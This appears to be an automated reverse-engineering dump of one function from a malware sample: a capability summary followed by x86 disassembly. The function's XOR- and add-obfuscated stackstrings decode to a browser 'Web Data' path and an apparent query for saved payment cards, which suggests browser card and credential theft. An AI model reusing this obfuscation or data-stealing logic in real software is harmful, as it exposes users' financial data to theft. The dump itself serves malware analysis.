Function at 0x4107ac
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x24c
push ebx
push ebp
push esi
mov ebp, edx
mov dword [esp + 0x110], ecx
xor ebx, ebx
mov dword [esp + 0xdc], ebp
push edi
mov dword [esp + 0x38], 0xe213e77
mov ecx, ebx
mov dword [esp + 0x3c], 0x72303705
mov dword [esp + 0x40], 0x33263316
mov al, byte [esp + ecx + 0x38]
xor al, 0x52
movzx eax, al
mov word [esp + ecx*2 + 0x198], ax
inc ecx
cmp ecx, 0xc
jl 0x4107e2
xor eax, eax
mov word [esp + 0x1b0], ax
call fcn.00419db5
mov esi, eax
test esi, esi
je 0x411173
lea eax, [esp + 0x198]
push ebp
push eax
call fcn.0041b96a
mov edi, eax
mov dword [esp + 0x128], edi
pop ecx
pop ecx
test edi, edi
je 0x411173
mov ecx, edi
call fcn.0041b9c4
mov ebp, eax
mov dword [esp + 0x5c], ebp
test ebp, ebp
je 0x41116c
xor edx, edx
mov ecx, ebp
call fcn.0041bc30
mov dword [esp + 0x124], eax
test eax, eax
je 0x411155
push ebx
push 1
lea ecx, [esp + 0xe4]
push ecx
push eax
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x41113d
mov dword [esp + 0x18], 0x242e2906
mov ecx, ebx
mov dword [esp + 0x1c], 0x32282360
mov dword [esp + 0x20], 0x35292d2f
mov dword [esp + 0x24], 0x2537602d
mov dword [esp + 0x28], 0x21246022
mov dword [esp + 0x2c], 0x24602134
mov dword [esp + 0x30], 0x2c656022
mov word [esp + 0x34], 0x4a33
mov al, byte [esp + ecx + 0x18]
xor al, 0x40
mov byte [esp + ecx + 0x1b4], al
inc ecx
cmp ecx, 0x1e
jl 0x4108bb
mov byte [esp + 0x1d2], bl
mov ecx, ebx
mov dword [esp + 0x78], 0x22292230
mov dword [esp + 0x7c], 0x42fd3120
mov dword [esp + 0x80], 0x4f464d55
mov dword [esp + 0x84], 0x4c46513e
mov dword [esp + 0x88], 0x4c4a3c4b
mov dword [esp + 0x8c], 0x945514b
mov dword [esp + 0x90], 0x4d5542fd
mov dword [esp + 0x94], 0x513e4f46
mov dword [esp + 0x98], 0x3c4b4c46
mov dword [esp + 0x9c], 0x4f3e4256
mov dword [esp + 0xa0], 0x3e4bfd09
mov dword [esp + 0xa4], 0x4c3c424a
mov dword [esp + 0xa8], 0x3e403c4b
mov dword [esp + 0xac], 0xfd09414f
mov dword [esp + 0xb0], 0x414f3e40
mov dword [esp + 0xb4], 0x4a524b3c
mov dword [esp + 0xb8], 0x3c4f423f
mov dword [esp + 0xbc], 0x4f404b42
mov dword [esp + 0xc0], 0x42514d56
mov dword [esp + 0xc4], 0x2f23fd41
mov dword [esp + 0xc8], 0x40fd2a2c
mov dword [esp + 0xcc], 0x4641424f
mov dword [esp + 0xd0], 0x3e403c51
mov word [esp + 0xd4], 0x414f
mov byte [esp + 0xd6], 0x50
mov al, byte [esp + ecx + 0x78]
add al, 0x23
mov byte [esp + ecx + 0x1f8], al
inc ecx
cmp ecx, 0x5f
jl 0x4109e0
mov byte [esp + 0x257], bl
mov eax, ebx
mov dword [esp + 0xe4], 0xfb02fb09
mov dword [esp + 0xe8], 0x24d60af9
mov dword [esp + 0xec], 0xe21b2317
mov dword [esp + 0xf0], 0x22172cd6
mov dword [esp + 0xf4], 0xfcd61b2b
mov dword [esp + 0xf8], 0xd6030508
mov dword [esp + 0xfc], 0x252a2b17
mov dword [esp + 0x100], 0x22221f1c
movups xmm0, xmmword [esp + eax + 0xe4]
paddb xmm0, xmmword [0x421000]
movups xmmword [esp + eax + 0x1d4], xmm0
add eax, 0x10
cmp eax, 0x20
jl 0x410a54
lea eax, [esp + 0x1b4]
mov byte [esp + 0x1f4], bl
push edi
push eax
call fcn.00412606
push ebx
lea eax, [esp + 0x20]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x20c]
push eax
push dword [esp + 0xf4]
call dword [esi + 8]
add esp, 0x1c
test eax, eax
jne 0x410eec
push dword [esp + 0x14]
lea edi, [esp + 0x3c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x410d63
mov dword [esp + 0x68], 0xa0a8ab8c
mov dword [esp + 0x6c], 0xe4feb6a1
mov dword [esp + 0x70], 0xab8d5457
mov dword [esp + 0x74], 0x6a84aebc
mov dword [esp + 0x44], 0x444cefe1
mov dword [esp + 0x48], 0xe39463d
mov byte [esp + 0x4c], 0xf4
mov ecx, ebx
mov al, byte [esp + ecx + 0x68]
xor al, 0xc4
mov byte [esp + ecx + 0x130], al
inc ecx
cmp ecx, 8
jl 0x410afd
mov byte [esp + 0x138], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x70]
sub al, 0x4a
mov byte [esp + ecx + 0x13c], al
inc ecx
cmp ecx, 8
jl 0x410b19
mov byte [esp + 0x144], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x44]
add al, 0x2c
mov byte [esp + ecx + 0x148], al
inc ecx
cmp ecx, 9
jl 0x410b35
mov byte [esp + 0x151], bl
mov ecx, ebx
mov word [esp + 0x58], 0x2f
mov dword [esp + 0x18], 0xa6a67376
mov dword [esp + 0x1c], 0xa6a6a6a6
mov dword [esp + 0x20], 0xa6a6a6a6
mov dword [esp + 0x24], 0xa6a6a6a6
mov word [esp + 0x28], 0x76a6
mov byte [esp + 0x2a], 0x73
mov al, byte [esp + ecx + 0x18]
sub al, 0x69
mov byte [esp + ecx + 0x170], al
inc ecx
cmp ecx, 0x13
jl 0x410b84
lea eax, [esp + 0x130]
mov byte [esp + 0x183], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x134]
lea ecx, [esp + 0x3c]
call fcn.0041baad
pop ecx
push 2
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x13c]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x140]
lea ecx, [esp + 0x3c]
call fcn.0041baad
pop ecx
push 3
push dword [esp + 0x18]
call dword [esi + 0x14]
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x410cb4
push 3
push dword [esp + 0x18]
call dword [esi + 0x20]
cmp byte [edi], 0x76
mov edx, eax
pop ecx
pop ecx
jne 0x410c66
cmp byte [edi + 1], 0x31
lea eax, [edi + 2]
jne 0x410c66
cmp byte [eax], 0x30
je 0x410c3b
cmp byte [eax], 0x31
jne 0x410c66
lea eax, [esp + 0x50]
mov ecx, edi
push eax
call fcn.0040f87c
mov edi, eax
pop ecx
test edi, edi
je 0x410cb4
push dword [esp + 0x50]
mov edx, edi
lea ecx, [esp + 0x3c]
call fcn.0041baad
pop ecx
push edi
call fcn.004056f0
jmp 0x410cb3
lea eax, [esp + 0x168]
mov dword [esp + 0x160], edx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x178]
mov dword [esp + 0x17c], edi
push eax
push 3
mov edx, 0xbedfd981
pop ecx
call fcn.00412cbc
call eax
test eax, eax
je 0x410cb4
push dword [esp + 0x168]
mov edx, dword [esp + 0x170]
lea ecx, [esp + 0x3c]
call fcn.0041baad
pop ecx
lea eax, [esp + 0x148]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x14c]
lea ecx, [esp + 0x3c]
call fcn.0041baad
pop ecx
push ebx
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x58]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x5c]
lea ecx, [esp + 0x3c]
call fcn.0041baad
pop ecx
push 1
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x170]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x174]
lea ecx, [esp + 0x3c]
call fcn.0041baad
pop ecx
push dword [esp + 0x14]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x410afb
cmp dword [esp + 0x38], ebx
je 0x410eec
mov dword [esp + 0x18], 0x29283f0e
mov ecx, ebx
mov dword [esp + 0x1c], 0x2c0e3924
mov dword [esp + 0x20], 0x623e293f
mov dword [esp + 0x24], 0x123e2168
mov dword [esp + 0x28], 0x633e2168
mov word [esp + 0x2c], 0x3539
mov byte [esp + 0x2e], 0x39
mov al, byte [esp + ecx + 0x18]
xor al, 0x4d
movzx eax, al
mov word [esp + ecx*2 + 0xe4], ax
inc ecx
cmp ecx, 0x17
jl 0x410da3
mov ecx, dword [esp + 0xe0]
lea edx, [esp + 0x50]
xor eax, eax
mov word [esp + 0x112], ax
call fcn.004120fe
mov edi, eax
test edi, edi
je 0x410ea8
mov edx, dword [esp + 0x50]
lea eax, [esp + 0xe0]
push eax
mov ecx, edi
call fcn.0040f87c
mov ebp, eax
pop ecx
test ebp, ebp
je 0x410e9d
mov dword [esp + 0x50], 0xa68c4b4e
mov ecx, ebx
mov word [esp + 0x54], 0x7bba
mov byte [esp + 0x56], 0x61
mov al, byte [esp + ecx + 0x50]
sub al, 0x41
mov byte [esp + ecx + 0x128], al
inc ecx
cmp ecx, 7
jl 0x410e12
mov byte [esp + 0x12f], bl
mov ecx, ebx
mov word [esp + 0x50], 0xdbde
mov al, byte [esp + ecx + 0x50]
add al, 0x2f
mov byte [esp + ecx + 0x64], al
inc ecx
cmp ecx, 2
jl 0x410e35
lea eax, [esp + 0x128]
mov byte [esp + 0x66], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x12c]
lea ecx, [esp + 0x3c]
call fcn.0041baad
pop ecx
push dword [esp + 0xe0]
mov edx, ebp
lea ecx, [esp + 0x3c]
call fcn.0041baad
pop ecx
lea eax, [esp + 0x64]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x68]
lea ecx, [esp + 0x3c]
call fcn.0041baad
pop ecx
push ebp
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
mov ebp, dword [esp + 0x60]
pop ecx
push dword [esp + 0x260]
lea eax, [esp + 0xe8]
push dword [esp + 0x118]
push eax
call fcn.0041b96a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x410ee2
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x38]
push edi
call fcn.00418de4
pop ecx
push edi
call fcn.004056f0
pop ecx
push dword [esp + 0x38]
call fcn.004056f0
pop ecx
push dword [esp + 0x14]
call dword [esi + 0x18]
pop ecx
push ebx
lea eax, [esp + 0x18]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x1e0]
push eax
push dword [esp + 0xec]
call dword [esi + 8]
add esp, 0x14
test eax, eax
jne 0x41112e
push dword [esp + 0x14]
lea edi, [esp + 0x3c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x41108a
mov dword [esp + 0x5c], 0x99919db2
mov word [esp + 0x60], 0xdcc6
mov dword [esp + 0x44], 0xf8eda1a4
mov dword [esp + 0x48], 0xd1fc0c03
mov byte [esp + 0x4c], 0xb7
mov ecx, ebx
mov al, byte [esp + ecx + 0x5c]
xor al, 0xfc
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, 6
jl 0x410f57
mov byte [esp + 0x11e], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x44]
add al, 0x69
mov byte [esp + ecx + 0x154], al
inc ecx
cmp ecx, 9
jl 0x410f73
mov byte [esp + 0x15d], bl
mov ecx, ebx
mov dword [esp + 0x18], 0x2828f5f8
mov dword [esp + 0x1c], 0x28282828
mov dword [esp + 0x20], 0x28282828
mov dword [esp + 0x24], 0x28282828
mov word [esp + 0x28], 0xf828
mov byte [esp + 0x2a], 0xf5
mov al, byte [esp + ecx + 0x18]
add al, 0x15
mov byte [esp + ecx + 0x184], al
inc ecx
cmp ecx, 0x13
jl 0x410fbb
lea eax, [esp + 0x118]
mov byte [esp + 0x197], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x11c]
lea ecx, [esp + 0x3c]
call fcn.0041baad
pop ecx
push ebx
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x154]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x158]
lea ecx, [esp + 0x3c]
call fcn.0041baad
pop ecx
push 1
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x184]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x188]
lea ecx, [esp + 0x3c]
call fcn.0041baad
pop ecx
push dword [esp + 0x14]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x410f55
cmp dword [esp + 0x38], ebx
je 0x41112e
mov dword [esp + 0x18], 0xcacfd09c
mov dword [esp + 0x1c], 0xc7c7c4c1
mov dword [esp + 0x20], 0xc7808ace
mov dword [esp + 0x24], 0xc780bace
mov dword [esp + 0x28], 0xd3cf89ce
mov byte [esp + 0x2c], 0xcf
movzx eax, byte [esp + ebx + 0x18]
mov ecx, 0xff
sub ax, 0x5b
and ax, cx
mov word [esp + ebx*2 + 0xe4], ax
inc ebx
cmp ebx, 0x15
jl 0x4110c1
push dword [esp + 0x260]
xor eax, eax
push dword [esp + 0x118]
mov word [esp + 0x116], ax
lea eax, [esp + 0xec]
push eax
call fcn.0041b96a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x411124
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x38]
push edi
call fcn.00418de4
pop ecx
push edi
call fcn.004056f0
pop ecx
push dword [esp + 0x38]
call fcn.004056f0
pop ecx
push dword [esp + 0x14]
call dword [esi + 0x18]
mov edi, dword [esp + 0x124]
pop ecx
push dword [esp + 0xdc]
call dword [esi + 0x1c]
pop ecx
push dword [esp + 0x124]
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.00412cbc
call eax
push ebp
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24c
ret